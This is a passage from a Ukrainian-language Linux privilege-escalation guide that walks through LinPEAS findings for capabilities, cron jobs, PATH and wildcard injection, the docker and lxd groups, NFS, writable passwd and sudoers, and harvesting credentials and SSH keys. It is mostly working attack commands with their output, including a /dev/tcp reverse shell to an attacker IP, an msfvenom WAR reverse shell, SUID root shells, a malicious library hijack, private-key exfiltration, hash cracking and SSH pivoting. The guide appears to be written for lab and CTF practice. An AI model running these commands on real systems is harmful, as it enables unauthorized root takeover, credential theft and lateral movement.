user@target$ export PATH=/tmp:$PATH
user@target$ /opt/scripts/cleanup
# whoami
root
```

Якщо binary робить виклики до бібліотек — library hijack

Перевіряємо `ldd` і шукаємо бібліотеки у писабельних місцях:

```cmd
user@target$ ldd /usr/local/bin/backup-helper
    linux-vdso.so.1 (0x00007ffe...)
    libcustom.so => /usr/local/lib/libcustom.so (0x00007f...)

user@target$ ls -la /usr/local/lib/libcustom.so
-rwxrwxrwx 1 user user 12K ... libcustom.so    # писабельний!

# створюємо malicious replacement
user@target$ cat > /tmp/lib.c <<'EOF'
__attribute__((constructor)) void hijack() {
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF
user@target$ gcc -shared -fPIC -o /usr/local/lib/libcustom.so /tmp/lib.c
user@target$ /usr/local/bin/backup-helper test
# whoami
root
```

> ℹ **INFO:** Custom SUID — найцікавіший вектор: вимагає аналізу, але часто дає унікальний privesc-шлях, який не закритий жодним патчем. Цінне для CTF і real engagements.

5.3 V11 — Linux Capabilities

[V11] Бінар з небезпечною capability (cap_setuid, cap_dac_read_search, ...) HIGH

Ціль: запустити capability-enabled binary з правами root
LinPEAS секція: ╔═══╣ Capabilities
Наступний крок: GTFOBins → Capabilities

Capabilities — більш гранульована альтернатива SUID. Замість "все або нічого" (root), окремий бінар отримує тільки конкретні root-привілеї. Для нас — кожна capability = окрема дірка.

Що шукати

```linpeas
╔═══╣ Capabilities
╚ https://book.hacktricks.wiki/.../linux-capabilities.html
Current capabilities: cap_chown,cap_dac_override...
Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/perl = cap_setuid,cap_setgid+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/vim = cap_dac_override+ep
```

▸ cap_setuid+ep на python = моментальний root; cap_dac_* = читання/запис будь-яких файлів

Експлуатація — cap_setuid (найпростіший)

```cmd
user@target$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# whoami
root
```

Це працює бо `setuid(0)` зазвичай вимагає root-привілеїв, але з cap_setuid+ep python може викликати setuid від імені будь-якого UID, включно з 0.

Експлуатація — cap_dac_read_search (читання будь-яких файлів)

Capability дозволяє bypass'ити DAC (Discretionary Access Control) при читанні. Тобто читати файли, до яких у нас немає read-permission:

```cmd
user@target$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1234 ... /etc/shadow    # нечитабельний для нас

user@target$ /usr/bin/tar -czf shadow.tar.gz /etc/shadow
user@target$ tar -xzf shadow.tar.gz
user@target$ cat etc/shadow
root:$6$xy...:18000:0:99999:7:::    # crack через hashcat
```

Експлуатація — cap_dac_override (запис у будь-який файл)

```cmd
user@target$ getcap -r / 2>/dev/null | grep dac_override
/usr/bin/vim = cap_dac_override+ep

# vim з cap_dac_override може писати куди завгодно — додаємо себе у sudoers
user@target$ /usr/bin/vim /etc/sudoers
# у редакторі додаємо: user ALL=(ALL) NOPASSWD:ALL
user@target$ sudo -i
```

```
# whoami
root
```

Топ небезпечних capabilities

Capability	Що дає	Експлуатація
cap_setuid	setuid() до будь-якого UID	прямий root через python/perl/ruby
cap_setgid	setgid() до root group	сам по собі обмежений; з cap_setuid — root
cap_dac_override	обхід file write permissions	edit /etc/passwd, /etc/sudoers
cap_dac_read_search	обхід file read permissions	читати /etc/shadow, SSH keys
cap_chown	chown будь-якого файлу	change owner /etc/shadow → cat
cap_fowner	chmod будь-якого файлу	chmod +s /bin/bash → SUID shell
cap_sys_admin	"майже root"	mount, namespace, etc.
cap_sys_ptrace	ptrace будь-якого процесу	inject код у root-процес
cap_sys_module	insmod kernel modules	завантажити malicious .ko
cap_net_admin	конфігурація network	обмежено сам по собі
cap_net_raw	raw sockets	безпечно, ping/mtr standard

5.4 V12 — SGID misconfigurations

[V12] SGID на бінарі з privileged group LOW

SGID = бінар запускається з GID власника. Реальний privesc через SGID рідкісний — більшість груп некритичні. Виняток: SGID на binary з group `shadow` (читання /etc/shadow), `disk` (raw access), `root`.

```cmd
user@target$ find / -perm -2000 -type f 2>/dev/null | grep -v '/proc'
-rwxr-sr-x 1 root shadow 32K ... /usr/bin/myhelper    # shadow group SGID
# якщо myhelper має command injection або strings показує "cat /etc/shadow" — checkmate
```

6. Cron / Timers / PATH

Cron jobs виконуються як власник crontab — часто root. Якщо ми можемо вплинути на те, що виконується (модифікувати скрипт, підмінити binary через PATH, ін'єктувати через wildcard) — отримуємо root через 1-60 хвилин очікування.

6.1 V13 — Writable cron scripts

[V13] Cron job викликає скрипт, який юзер може модифікувати HIGH

Ціль:	додати свій код у скрипт → cron виконає як root
LinPEAS секція:	╔═══╣ Cron jobs
Наступний крок:	echo >> script.sh → wait 1 min

Що шукати у LinPEAS

```linpeas
╔═══╣ Cron jobs
╚ https://book.hacktricks.wiki/.../privilege-escalation/cron-jobs.html
incrontab Not Found
╔═══╣ System-wide crons
/etc/crontab content:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*  *    * * *   root    cd / && run-parts --report /etc/cron.hourly
17 *    * * *   root    /usr/local/bin/backup.sh
*/5 *    * * *   root    /opt/scripts/cleanup.sh

╔═══╣ Cron files writable
/opt/scripts/cleanup.sh is writable by user
-rwxrwxrwx 1 root root 245 Jan 12 2024 /opt/scripts/cleanup.sh
```

▸ кожні 5 хв cron запускає cleanup.sh як root, а файл писабельний нам — додаємо рядок і чекаємо

Експлуатація

```sh
attacker@kali$ nc -lvnp 4444
```

```cmd
user@target$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"' >> /opt/scripts/cleanup.sh

# чекаємо до 5 хвилин — потім listener отримає shell
```

```sh
attacker@kali$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.X] from target [10.10.10.X] 49234
root@target:~# whoami
root
```

Альтернатива — SUID bash через cron

Якщо обмежений outbound (firewall блокує reverse shell), використати SUID:

```cmd
user@target$ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/cleanup.sh

# чекаємо ≤5 хв
user@target$ ls -la /tmp/rootbash
```

```
-rwsr-sr-x 1 root root 1234376 ... /tmp/rootbash
user@target$ /tmp/rootbash -p
# whoami
root
```

Cron writable directory (replace script)

Інший випадок — сам скрипт не писабельний, але директорія так:

```linpeas
/opt/scripts/ is writable by user (you can replace cleanup.sh with another file)
drwxrwxrwx 2 root root 4096 Jan 12 2024 /opt/scripts/
```

```cmd
user@target$ rm /opt/scripts/cleanup.sh
user@target$ cat > /opt/scripts/cleanup.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
user@target$ chmod +x /opt/scripts/cleanup.sh

# чекаємо cron, потім: bash -p → root
```

⚠ **УВАГА:** Перевіряти cron timing — якщо `*/5` = кожні 5 хв; `0 0 * * *` = опівночі (можемо чекати до 24 год); `@reboot` = тільки при перезавантаженні (марно для CTF). LinPEAS показує наступний run при наявності pspy.

6.2 V14 — Cron PATH manipulation

[V14] Cron виконує команду без абсолютного шляху + PATH містить writable dir MED

Ціль: створити malicious binary з ім'ям тієї команди → cron виконує наш

LinPEAS секція: `Cron jobs` + `PATH writable dirs`

Що шукати

```linpeas
╔═══════╣ System-wide crons
/etc/crontab content:
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/2 * * * * root  overwrite.sh    # без абсолютного шляху!

╔═══════╣ Searching root processes
overwrite.sh: not found in standard locations
```

▸ PATH у crontab починається з /home/user — а ми це user; "overwrite.sh" буде шукатись там першим

Експлуатація

```cmd
user@target$ cat > /home/user/overwrite.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
user@target$ chmod +x /home/user/overwrite.sh

# чекаємо ≤2 хв
user@target$ /bin/bash -p
# whoami
root
```

6.3 V15 — Wildcard injection (tar / chown / rsync у cron)

[V15] Cron виконує команду з wildcard у директорії, куди можемо писати HIGH

Ціль: впихнути argv-flag через wildcard expansion → cron виконує наш код як root

Що шукати

```linpeas
/etc/crontab content:
*/5 * * * * root cd /var/www/uploads && tar czf /backups/upl.tar.gz *
0 * * * * root chown -R www-data:www-data /var/www/html/*
```

Експлуатація — tar checkpoint trick

```cmd
user@target$ ls -la /var/www/uploads
drwxrwxrwx 2 www-data www-data 4096 ... /var/www/uploads    # писабельний

user@target$ cd /var/www/uploads
user@target$ echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > pwn.sh
user@target$ chmod +x pwn.sh
user@target$ touch -- "--checkpoint=1"
user@target$ touch -- "--checkpoint-action=exec=sh pwn.sh"
```

```
# чекаємо 5 хв; потім:
user@target$ /tmp/rb -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
```

6.4 V16 — Writable directories in $PATH

[V16] $PATH містить директорію, куди ми можемо писати, перед стандартними MED

Що шукати

```linpeas
╔═══════╣ PATH
echo $PATH: /home/user/.local/bin:/home/user/bin:/usr/local/sbin:...
/home/user/.local/bin is in PATH and writable by user (current user)
```

Сам по собі writable dir у власному PATH — не privesc. Але якщо там запускається SUID-бінар або privileged-process викликає команду без абсолютного шляху — privesc.

Перевірка — чи якийсь root-process викликає bare-command

```cmd
user@target$ ps auxf | grep -v '\['
# шукаємо root-процеси, що викликають short-name commands
user@target$ pspy64    # кращий — реал-тайм моніторинг exec calls
2024/01/12 10:15:33 CMD: UID=0    PID=1234   /bin/sh -c "service apache2 reload"
2024/01/12 10:15:33 CMD: UID=0    PID=1235   date    # bare command - exploit candidate!
```

- pspy показує real-time process exec — кращий за linpeas для cron monitoring

7. Containers / Network

7.1 V17 — Небезпечне group membership

[V17] Юзер у групі docker / lxd / disk / video / adm HIGH

Ціль: privesc через привілеї групи (мауни, raw access, container escape)

LinPEAS секція: `╔══╣ Users` та `my user info`

Що шукати

```
linpeas

╔══╣ My user
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo),998(docker),994(lxd)

╔══╣ Interesting groups my user belongs to
[+] User belongs to docker group - container escape via privileged container
[+] User belongs to lxd group - container escape via lxc image import
```

Експлуатація — docker group

Член docker group має повноцінний доступ до Docker daemon. Запустити контейнер з mount хоста = root:

```
cmd

user@target$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
# cat /etc/shadow
root:$6$xy...:18000:0:99999:7:::
```

Якщо немає інтернету для pull alpine — використовувати локальний образ:

```
cmd

user@target$ docker images
REPOSITORY  TAG     IMAGE ID       CREATED       SIZE
ubuntu      latest  ba6acccedd29   2 weeks ago   72.8MB

user@target$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
# whoami
root
```

Експлуатація — lxd / lxc group

LXD — дублікат подібного підходу: запустити privileged container з mount хоста:

```
cmd

# на attacker — будуємо minimal alpine image
attacker@kali$ git clone https://github.com/saghul/lxd-alpine-builder
attacker@kali$ cd lxd-alpine-builder && sudo ./build-alpine -a i686
# отримуємо alpine-v3.x-i686-*.tar.gz

# на цілі
user@target$ wget http://10.10.14.X:8000/alpine-v3.x-i686.tar.gz -O alp.tar.gz
user@target$ lxc image import alp.tar.gz --alias myimage
user@target$ lxc init myimage mycontainer -c security.privileged=true
user@target$ lxc config device add mycontainer mydev disk source=/ path=/mnt/root recursive=true
user@target$ lxc start mycontainer
user@target$ lxc exec mycontainer /bin/sh
~ # cd /mnt/root
~ # cat etc/shadow
```

Експлуатація — disk group

Disk group дає raw read+write до block devices. Прямий доступ до /dev/sda* = читання/модифікація диска:

```cmd
user@target$ debugfs /dev/sda1
debugfs:  cat /etc/shadow
root:$6$xy...:18000:0:99999:7:::

# або просто читати raw — не безпечно, але працює
user@target$ dd if=/dev/sda1 bs=1M | strings | grep -A 1 'root:\$6'
```

Інші небезпечні групи

Група	Що дає
docker	контейнер з mount = root
lxd / lxc	контейнер з mount = root
disk	raw read/write на block devices
shadow	читання /etc/shadow
video	read /dev/fb0 — screen capture, бачимо паролі при logon
adm	read логів /var/log — інколи містять plaintext creds
sudo	якщо sudo є — privesc через sudo (Розділ 4)
wheel	RHEL еквівалент sudo group
root	сам по собі не дає UID=0, але часто = доступ до root-only файлів

7.2 V18 — Docker socket exposed

[V18] /var/run/docker.sock доступний без docker-group HIGH

Ціль: прямий talk до Docker daemon → запуск privileged container → root

LinPEAS секція: `Searchable interesting files` та `Sockets`

Що шукати

```linpeas
╔═══╣ Searching docker.sock
srw-rw-rw- 1 root root 0 Jan 12 09:00 /var/run/docker.sock    # 666 = всі читають/пишуть!

╔═══╣ Sockets
/var/run/docker.sock
```

▸ socket з permissions srw-rw-rw- (chmod 666) = будь-який юзер може комунікувати з docker daemon

Експлуатація через docker CLI (якщо встановлений)

```cmd
user@target$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
```

Експлуатація через curl (якщо docker CLI відсутній)

Docker daemon експонує REST API через unix socket. Можемо створити, запустити і attach контейнер тільки через curl:

```cmd
# 1. List images (перевірити, що є)
user@target$ curl --unix-socket /var/run/docker.sock http://x/images/json | python3 -m json.tool

# 2. Create privileged container з mount хоста
user@target$ curl --unix-socket /var/run/docker.sock \
       -H "Content-Type: application/json" \
       -d '{"Image":"ubuntu","Cmd":["chroot","/host","sh"],"AttachStdin":true,"AttachStdout":true,"AttachStde
       http://x/containers/create
{"Id":"abcd1234..."}

# 3. Start container
user@target$ curl --unix-socket /var/run/docker.sock -X POST http://x/containers/abcd1234/start

# 4. Attach (interactive)
user@target$ curl --unix-socket /var/run/docker.sock -X POST \
       'http://x/containers/abcd1234/attach?stream=1&stdin=1&stdout=1&stderr=1'
```

Альтернатива — через installer-script (якщо немає docker)

```cmd
user@target$ curl -sSL https://get.docker.com/ | sh    # потребує root, тому скип

# Кращий варіант — скачати static docker binary
user@target$ wget https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz
user@target$ tar -xzf docker-24.0.7.tgz
user@target$ ./docker/docker -H unix:///var/run/docker.sock run -v /:/h alpine chroot /h sh
```

7.3 V19 — NFS no_root_squash

[V19] NFS-share експортовано з no_root_squash HIGH

Ціль: з атакуючої машини як root писати у share → SUID binary на цілі

LinPEAS секція: `/etc/exports` readable

Що шукати

```linpeas
╔═══════╣ NFS exports
/etc/exports content:
/srv/nfs    *(rw,sync,no_root_squash,no_subtree_check)

╔═══════╣ Mounted filesystems
none on /srv/nfs type nfs4
```

▸ no_root_squash = root з NFS-клієнта зберігає UID=0 на сервері; писатиму файли як root

Експлуатація

```sh
attacker@kali$ sudo mkdir /mnt/nfs && sudo mount -t nfs target:/srv/nfs /mnt/nfs

# створюємо SUID-бінар як root (можемо, бо no_root_squash)
attacker@kali$ sudo cat > /tmp/pwn.c <<'EOF'
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
attacker@kali$ sudo gcc /tmp/pwn.c -o /mnt/nfs/pwn
attacker@kali$ sudo chmod +s /mnt/nfs/pwn

# на цілі — запускаємо як user, отримуємо root
```

```cmd
user@target$ /srv/nfs/pwn
# whoami
root
```

8. Credentials / Files

8.1 V20 — Writable /etc/passwd або /etc/shadow

[V20] /etc/passwd або /etc/sudoers має write-permission для нашого юзера HIGH

Ціль: додати свого root-юзера або NOPASSWD-rule

LinPEAS секція: `Searching passwd files` + permissions

Що шукати

```linpeas
╔═══════╣ Important writable files
/etc/passwd is writable
-rw-rw-r-- 1 root root 1234 ... /etc/passwd

/etc/shadow is readable
-rw-r--r-- 1 root root 1234 ... /etc/shadow

/etc/sudoers.d/ writable folder
```

Експлуатація — passwd writable

```cmd
# 1. Згенерувати crypt-хеш для пароля
user@target$ openssl passwd -1 -salt salt P@ssw0rd
$1$salt$2gK3iPxbjFqJfSdBDXVoR1

# 2. Додати root-юзера у /etc/passwd
user@target$ echo 'rooot:$1$salt$2gK3iPxbjFqJfSdBDXVoR1:0:0:root:/root:/bin/bash' >> /etc/passwd

# 3. Залогінитись
user@target$ su rooot
Password: P@ssw0rd
# whoami
root
```

▸ UID=0 + GID=0 у /etc/passwd = повний root, навіть з ім'ям "rooot"

Експлуатація — shadow readable (crack hashes)

```cmd
user@target$ cat /etc/shadow
root:$6$xy$abc...:18000:0:99999:7:::
user:$6$bb$xyz...:18000:0:99999:7:::
```

```sh
attacker@kali$ echo '$6$xy$abc...' > hash.txt
attacker@kali$ hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
$6$xy$abc...:Sup3rS3cr3t!

attacker@kali$ ssh root@target
Password: Sup3rS3cr3t!
root@target# whoami
root
```

Експлуатація — sudoers.d writable

```cmd
user@target$ echo 'user ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/pwn
```

```
user@target$ sudo -i
# whoami
root
```

> ⚠ **УВАГА:** /etc/passwd writable — рідкісна misconfig (часто результат безглуздого `chmod 666` при troubleshooting). На реальному engagement — задокументувати окремо як критичний finding.

8.2 V21 — Креденшіали у history та configs

[V21] Plaintext паролі в bash_history, .my.cnf, web configs, backup-файлах **HIGH**

Ціль: знайти password іншого юзера → su / sudo як він

LinPEAS секція: кілька — `Searching history files`, `Interesting files`, `Possible passwords`

Що шукати

```linpeas
╔═══════╣ Searching passwords in history files
.bash_history:mysql -u root -pSup3rS3cr3t!
.bash_history:sshpass -p 'Welcome2023!' ssh admin@10.0.0.5
.bash_history:curl -u 'apiuser:Token123!' https://api.internal/v1

╔═══════╣ Analyzing .my.cnf files
/home/user/.my.cnf:
[client]
user=root
password=DBP@ss2023

╔═══════╣ Web files
/var/www/html/wp-config.php: define('DB_PASSWORD', 'WPpass2023!');
/etc/php/7.4/apache2/conf.d/secret.conf: env[DB_PASS] = "PHPp@ss"
```

Workflow

```cmd
# 1. перевіряємо знайдений password — раптом це root password
user@target$ su root
Password: Sup3rS3cr3t!
# whoami
root
```

```cmd
# 2. Якщо не root, можливо інші user'и
user@target$ cat /etc/passwd | cut -d: -f1
user@target$ for u in admin jeff sysadmin backup; do echo "trying $u..."; echo 'Sup3rS3cr3t!' | su - $u -c 'i
```

```cmd
# 3. password reuse — спробувати знайдений pass для SSH на інших хостах
user@target$ sshpass -p 'Sup3rS3cr3t!' ssh admin@10.0.0.5
```

Файли, які варто перевірити вручну

- `~/.bash_history`, `~/.zsh_history`, `~/.python_history`
- `~/.my.cnf`, `~/.pgpass` (database creds)
- `~/.git-credentials`, `~/.netrc`
- `~/.aws/credentials`, `~/.azure/`, `~/.config/gcloud/`
- `/var/www/*/wp-config.php`, `configuration.php` (CMS)
- `/etc/apache2/sites-enabled/*.conf`, `/etc/nginx/sites-enabled/*`
- `/var/backups/*`, `/opt/backups/*` — старі копії /etc/shadow
- `/var/mail/*` — пошта з temp-passwords

- `/tmp/*.sql`, `*.bak`, `*.old`

8.3 V22 — SSH keys і agent socket

[V22] Доступні чужі SSH-ключі або SSH-agent socket HIGH

Ціль: авторизуватись як інший юзер (локально або на pivot host)

LinPEAS секція: `╔═══╣ Searching ssh files`

Що шукати — readable private keys

```linpeas
╔═══╣ Searching ssh files
/home/jeff/.ssh/id_rsa is readable: -rw-r--r-- 1 jeff jeff 1675
/home/admin/.ssh/id_ed25519 is readable: -rw-r--r-- 1 admin admin 411

╔═══╣ Authorized keys files
/root/.ssh/authorized_keys is writable
-rw-rw-rw- 1 root root 567 ... /root/.ssh/authorized_keys
```

▸ приватний ключ readable нами = можна логінитись як власник; authorized_keys writable у /root = додаємо свій ключ → ssh root@

Експлуатація — readable id_rsa

```cmd
user@target$ cat /home/jeff/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAA...
-----END OPENSSH PRIVATE KEY-----

# копіюємо до себе на attacker
user@target$ cat /home/jeff/.ssh/id_rsa > /tmp/key
user@target$ base64 /tmp/key   # exfil через transparent channel
```

```sh
attacker@kali$ chmod 600 jeff_key
attacker@kali$ ssh -i jeff_key jeff@target
jeff@target$ id
uid=1001(jeff) gid=1001(jeff) groups=1001(jeff),27(sudo)    # jeff у sudo!
jeff@target$ sudo -l
(ALL : ALL) NOPASSWD: ALL
jeff@target$ sudo -i
# whoami
root
```

Експлуатація — writable authorized_keys у /root

```cmd
# на attacker генеруємо ssh ключ
attacker@kali$ ssh-keygen -t rsa -f /tmp/pwn -N ''
attacker@kali$ cat /tmp/pwn.pub
ssh-rsa AAAAB3Nz... attacker@kali

# на цілі додаємо у /root/authorized_keys
user@target$ echo 'ssh-rsa AAAAB3Nz... attacker@kali' >> /root/.ssh/authorized_keys

# залогінитись як root
attacker@kali$ ssh -i /tmp/pwn root@target
root@target# whoami
root
```

SSH agent forwarding hijack

Якщо інший юзер залогінився з `ssh -A` (agent forwarding), а ми root — можемо використовувати їхній agent socket для логіну на pivot:

```cmd
user@target$ ls -la /tmp/ssh-*
drwx------ 2 jeff jeff 60 Jan 12 09:00 /tmp/ssh-XXXXabc12

# якщо ми root (вже отримали привілеї), можемо використати jeff's agent
root@target# SSH_AUTH_SOCK=/tmp/ssh-XXXXabc12/agent.5678 ssh-add -l
2048 SHA256:... jeff@laptop (RSA)

root@target# SSH_AUTH_SOCK=/tmp/ssh-XXXXabc12/agent.5678 ssh internal-host
internal-host$ id
uid=1001(jeff) gid=1001(jeff) ...    # pivot complete
```

Шлях до prod — known_hosts

Інший корисний файл — `~/.ssh/known_hosts`. Він містить hostname/IP всіх машин, до яких юзер ходив. Це готова map внутрішньої мережі для lateral movement:

```cmd
user@target$ cat /home/jeff/.ssh/known_hosts
10.0.0.5 ssh-rsa AAAAB3...
prod-db.internal,10.0.0.10 ssh-ed25519 AAAAC3...
backup-srv.local ssh-rsa AAAAB3...
gitlab.corp ssh-ed25519 AAAAC3...

user@target$ cat /home/jeff/.ssh/config
Host bastion
    User jeff
    IdentityFile ~/.ssh/id_rsa
Host prod-* internal-*
    ProxyJump bastion
```

▸ SSH config + known_hosts + readable id_rsa = повна network map + готовий доступ до 4+ хостів

8.4 V23 — Service config backup files

[V23] .bak / .old / .orig / .swp файли від конфігів сервісів HIGH

Ціль: credentials з backup-файлу → логін у service interface → RCE як user сервісу

LinPEAS секція: `╔══╣ Backup files (limited 100)`

Наступний крок: читати кожен .bak конфіг сервісу → exploit interface

Адміни часто роблять backup перед редагуванням конфігу: `cp tomcat-users.xml tomcat-users.xml.bak`. Оригінал отримує суворі permissions, а .bak копія часто залишається з default `644` — читабельна для всіх. Це класичний overlooked vector — LinPEAS показує його у секції Backup files.

Що шукати у виводі — реальний приклад

```linpeas
╔══╣ Backup files (limited 100)
-rw-r--r-- 1 root root  862 May  4  2025 /snap/core24/988/etc/.resolv.conf.systemd-resolved.bak
-rw-r--r-- 1 root root  893 May  4  2025 /snap/core24/988/etc/xml/catalog.old
-rw-r--r-- 1 root root  365 May  4  2025 /snap/core24/988/etc/xml/polkitd.xml.old
# ↑ snap/system .old — нецікаво, ігнорувати
-rwxr-xr-x 1 root barry 2232 Sep  5  2020 /etc/tomcat9/tomcat-users.xml.bak
# ↑ ЦЕ ВОНО — конфіг сервісу з credentials
-rw-r--r-- 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old
-rw-r--r-- 1 root root  237780 Aug 26  2020 /usr/src/linux-headers.../.config.old
```

▸ фільтрувати шум: ігнорувати `/snap`, `/usr/src`, `/usr/share/doc`, `/usr/share/man` — це системні; цікаве у /etc, /opt, /var/www, /home

Workflow — від .bak до root

Крок 1 — фільтр шуму, видобуття цікавих .bak/.old

```cmd
user@target$ find / \( -name "*.bak" -o -name "*.old" -o -name "*.orig" -o -name "*~" \) 2>/dev/null \
  | grep -vE '/snap/|/usr/(src|share|lib)/|/var/cache/' \
  | head -30
/etc/tomcat9/tomcat-users.xml.bak
/var/www/html/wp-config.php.old
/opt/app/.env.bak
/home/jeff/db_creds.txt~
```

Крок 2 — читання конфігу

```cmd
user@target$ cat /etc/tomcat9/tomcat-users.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users>
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <user username="admin" password="Sup3rS3cr3tT0mc4t!" roles="manager-gui,manager-script"/>
</tomcat-users>
```

▸ manager-gui + manager-script роль = можна заходити у Tomcat Manager web UI TA деплоїти .war пакети

Крок 3 — вхід у Tomcat Manager

LinPEAS показує запущений Tomcat у секції `Active Ports` (`8080`) або `Processes`. Перевіримо доступність:

```cmd
user@target$ ss -tlnp | grep -E '8080|8443'
LISTEN  0  100  *:8080  *:*
```

```
user@target$ curl -u admin:Sup3rS3cr3tT0mc4t! http://127.0.0.1:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/manager:running:0:manager
/host-manager:running:0:host-manager
```

▸ 200 OK + список apps = creds валідні; готово до .war upload

Крок 4 — згенерувати .war reverse shell payload

```sh
attacker@kali$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.X LPORT=4444 -f war > pwn.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes

attacker@kali$ nc -lvnp 4444 &
attacker@kali$ python3 -m http.server 8000
```

Крок 5 — upload + execute

```cmd
user@target$ wget http://10.10.14.X:8000/pwn.war -O /tmp/pwn.war

# deploy через manager-script API
user@target$ curl -u admin:Sup3rS3cr3tT0mc4t! \
  -T /tmp/pwn.war \
  "http://127.0.0.1:8080/manager/text/deploy?path=/pwn&update=true"
OK - Deployed application at context path [/pwn]

# trigger payload — reverse shell вилітає на attacker
user@target$ curl http://127.0.0.1:8080/pwn/
```

```sh
attacker@kali$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.X] from target [10.129.X.X] 52234
$ id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
```

8.4 V23 — продовження

Крок 6 — privesc від tomcat user до root

Маємо shell як `tomcat`. Треба ще раз пройти sudo-l — у HTB-style лабах service-юзери часто мають окрему sudo-rule:

```cmd
tomcat@target$ sudo -l
Matching Defaults entries for tomcat:
    env_reset, mail_badpass

User tomcat may run the following commands on target:
    (root) NOPASSWD: /usr/bin/busctl
```

busctl у GTFOBins (`gtfobins.github.io/gtfobins/busctl`): викликає `$PAGER` при виводі довгих list'ів — отже PAGER=/bin/sh дає shell escape:

```cmd
tomcat@target$ sudo PAGER='/bin/sh -c "exec /bin/sh 0<&1"' /usr/bin/busctl
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
```

Альтернативний варіант — busctl має флаг для запуску з default less, з якого виходимо у shell:

```cmd
tomcat@target$ sudo /usr/bin/busctl
# вивід пагінується через less; натиснути ! → команда → /bin/sh
!/bin/sh
# whoami
root
```

> ℹ **INFO:** Це full chain з реального HTB Academy assessment: `.bak file` → tomcat creds → .war upload → shell as tomcat → busctl GTFOBins → root. 4-step privesc, кожен крок маркується LinPEAS у різних секціях (Backup files, Active Ports, sudo -l).

8.4.1 Стандартні шляхи конфігів — checklist

Коли LinPEAS виводить `.bak` / `.old`, фільтруй по сервісах. Нижче — типові шляхи де лежать креденшіали для топ-сервісів:

Сервіс	Шлях до конфіга з creds
Tomcat	`/etc/tomcat*/tomcat-users.xml`, `/usr/share/tomcat*/conf/tomcat-users.xml`
Apache	`/etc/apache2/.htpasswd`, `/etc/apache2/sites-enabled/*.conf` (BasicAuth, DB)
nginx	`/etc/nginx/.htpasswd`, `/etc/nginx/sites-enabled/*.conf`
WordPress	`/var/www/html/wp-config.php` (DB_PASSWORD)
Joomla / Drupal	`configuration.php`, `sites/default/settings.php`
MySQL / MariaDB	`/etc/mysql/mariadb.conf.d/50-server.cnf`, `~/.my.cnf`, `debian.cnf`
PostgreSQL	`/etc/postgresql/*/main/pg_hba.conf`, `~/.pgpass`
Redis	`/etc/redis/redis.conf` (requirepass)
MongoDB	`/etc/mongod.conf`, `/var/lib/mongodb/`
Jenkins	`/var/lib/jenkins/secrets/*`, `credentials.xml`, `users/*/config.xml`

Сервіс	Шлях до конфіга з creds
GitLab	`/etc/gitlab/gitlab.rb`, `/var/opt/gitlab/gitlab-rails/etc/secrets.yml`
RabbitMQ	`/etc/rabbitmq/rabbitmq.conf`, `.erlang.cookie`
Elasticsearch	`/etc/elasticsearch/elasticsearch.yml`, `/etc/elasticsearch/users`
Grafana	`/etc/grafana/grafana.ini` (admin password)
Confluence/Jira	`confluence.cfg.xml`, `dbconfig.xml`
Docker registry	`/etc/docker/registry/config.yml`, `/var/lib/registry/`
FileZilla server	`FileZilla Server.xml` (XML з MD5 hashes)
OpenVPN	`/etc/openvpn/server.conf`, `*.ovpn` client files
Samba	`/etc/samba/smb.conf`, `/var/lib/samba/private/passdb.tdb`
Generic .env	`/var/www/*/.env`, `/opt/*/.env` (Laravel, Node.js, Python apps)

8.4.2 Service-aware enumeration checklist

LinPEAS виводить запущені сервіси у трьох секціях. Workflow:

1. Active Ports → побачив порт (8080, 3306, 5432, 27017) → ідентифікувати сервіс
2. Processes → під яким юзером працює (tomcat, mysql, postgres, redis)
3. Backup files → шукати `*.bak/*.old` у стандартних шляхах сервісу
4. Interesting files → читати оригінал (часто фейлить через permissions) і backup (часто success)
5. User & Groups → перевірити, чи ми у групі того сервісу (часто = read access на конфіги)

Bash one-liner для агресивного пошуку

```cmd
user@target$ find / -type f \( -name "*.bak" -o -name "*.old" -o -name "*.orig" \
  -o -name "*~" -o -name "*.swp" -o -name "*.save" \) 2>/dev/null \
  | grep -vE '/(snap|usr/src|usr/share|usr/lib|var/cache|proc|sys)/' \
  | xargs -I {} sh -c 'ls -la "{}" 2>/dev/null; echo'

# grep на типові password keywords у знайдених backup'ах
user@target$ for f in $(find / \( -name "*.bak" -o -name "*.old" \) 2>/dev/null | grep -v /snap/); do
